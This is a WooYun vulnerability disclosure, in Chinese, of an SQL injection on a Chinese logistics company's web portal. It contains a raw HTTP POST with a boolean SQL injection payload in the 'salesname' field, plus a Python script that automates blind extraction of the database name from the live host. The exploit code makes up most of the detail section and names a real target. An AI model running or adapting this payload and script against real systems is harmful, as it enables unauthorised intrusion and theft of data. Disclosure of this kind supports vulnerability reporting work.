当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171198

漏洞标题:广东新邦物流某站存在SQL注入漏洞(附验证脚本)

相关厂商:广东新邦物流有限公司

漏洞作者: 路人甲

提交时间:2016-01-20 11:55

修复时间:2016-01-25 12:00

公开时间:2016-01-25 12:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST /businesshall/BSoffice!findOffice.action HTTP/1.1
Content-Length: 243
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://e.xbwl.cn/
Cookie: SESSION_COOKIE=s1; JSESSIONID=84BCE12ED441AAE1D4DF4FFB074CC443; babyface=Yes; CNZZDATA4345578=cnzz_eid%3D1622520549-1452771336-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1452771336; pageReferrInSession=http%3A//www.acunetix-referrer.com/javascript%3AdomxssExecutionSink%280%2C%22%27%5C%22%3E%3Cxsstag%3E%28%29refdxss%22%29; firstEnterUrlInSession=http%3A//e.xbwl.cn/website/aboutXB/11.jsp%3FpageType%3D00%26subType%3D0%26fw%3D320; CNZZDATA1760526=cnzz_eid%3D1326162297-1452771346-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1452771346
Host: e.xbwl.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
harea=&hcity=&hprovince=&page.page=0&page.pageCount=0&page.pageSize=0&page.state=&submit=&yywd.area=555&yywd.quyu=%e5%8d%8e%e5%8d%97&yywd.salesname=-1' OR len(db_name())=3 or 'Z'='&yywd.shengfen=1&yywd.shiqu=1

为真:

1.png

为假:

2.png

db长度为3

3.png

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive DB:'
db = ''
for i in range(1,4):
for payload in payloads:
conn = httplib.HTTPConnection('e.xbwl.cn', timeout=30)
s = "harea=&hcity=&hprovince=&page.page=0&page.pageCount=0&page.pageSize=0&page.state=&submit=&yywd.area=555&yywd.quyu=%%e5%%8d%%8e%%e5%%8d%%97&yywd.shengfen=1&yywd.shiqu=1&yywd.salesname=-1' or ascii(substring(db_name(),%s,1))=%s or 'Z'=' " % (i, ord(payload))
s=urllib.quote(s,'?,=,&,/')

conn.request(method='POST', url='/businesshall/BSoffice!findOffice.action', body=s,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
#print html_doc
if html_doc.find('57424798')>0 : # False
db += payload
print '\n[in progress]', db
break

print '\n[Done] DB is:', db

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-25 12:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价